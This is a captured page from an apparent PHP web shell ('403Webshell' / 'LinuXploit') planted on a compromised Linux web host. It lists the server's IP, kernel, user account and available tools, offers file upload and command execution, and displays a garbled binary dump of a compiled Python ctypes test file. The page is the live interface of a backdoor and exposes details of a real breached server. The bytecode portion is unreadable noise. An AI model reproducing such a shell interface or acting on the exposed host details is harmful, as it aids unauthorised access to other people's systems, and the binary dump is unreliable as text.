403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.95
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python27/lib64/python2.7/ctypes/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python27/lib64/python2.7/ctypes/test/test_python_api.pyc
�
�q2_c@s�ddlTddlZddlZddlmZddlmZddlmZej	dkrje
ZneZdej
fd	��YZed
kr�ej�ndS(i����(t*N(trequires(t
PyObj_FromPtr(tgetrefcountiitPythonAPITestCasecBs>eZd�Zd�Zd�Zd�Zd�Zd�ZRS(cCs>tj}t|_ttf|_|j|dd�d�dS(Nt	abcdefghiitabc(t	pythonapitPyString_FromStringAndSizet	py_objecttrestypetc_char_ptc_py_ssize_ttargtypestassertEqual(tselfR((s@/opt/alt/python27/lib64/python2.7/ctypes/test/test_python_api.pyttest_PyString_FromStringAndSizes		cCsttj_tftj_d}t|�}tj|�}|jt|�|�|j||�~|jt|�|�dS(NR(R	RtPyString_FromStringR
RR
tgrcR(Rtstrefcnttpyob((s@/opt/alt/python27/lib64/python2.7/ctypes/test/test_python_api.pyttest_PyString_FromStringscCs�td�td�}ttj_|jtjd�d�|jtd�|�tftj_t	tj_tjd�}|jt|�|d�~|jtd�|�dS(Ntrefcounti*i(
RRR	RtPyInt_FromLongR
RtPyInt_AsLongR
tc_long(Rtref42tres((s@/opt/alt/python27/lib64/python2.7/ctypes/test/test_python_api.pyttest_PyInt_Long+s
cCskd}t|�}tt|��}|j||�|jt|�|d�~|jt|�|�dS(Nsabc def ghi jkli(RRtidtassertIsR(RRtreftpyobj((s@/opt/alt/python27/lib64/python2.7/ctypes/test/test_python_api.pyttest_PyObj_FromPtr;scCs�tj}tt�ttf|_td�}||t|�dd�|j	|j
d�||t|�ddddd�|j	|j
d�|jt||�dS(Nis
Hello from %stctypessHello from ctypesiii(
Rt
PyOS_snprintftPOINTERtc_chartc_size_tRR
tc_buffertsizeofRtvaluetassertRaisest	TypeError(RR$tbuf((s@/opt/alt/python27/lib64/python2.7/ctypes/test/test_python_api.pyttest_PyOS_snprintfFs	"cCsY|jtt��d�|jttd��d�|jttt��dt�dS(Nspy_object(<NULL>)i*s
py_object(42)s
py_object(%r)(RtreprR	tobject(R((s@/opt/alt/python27/lib64/python2.7/ctypes/test/test_python_api.pyttest_pyobject_reprTs(t__name__t
__module__RRRR"R.R1(((s@/opt/alt/python27/lib64/python2.7/ctypes/test/test_python_api.pyRs					t__main__(ii(R#tunittesttsystctypes.testRt_ctypesRRRtversion_infoR'Rtc_inttTestCaseRR2tmain(((s@/opt/alt/python27/lib64/python2.7/ctypes/test/test_python_api.pyt<module>s
	G

Youez - 2016 - github.com/yon3zu
LinuXploit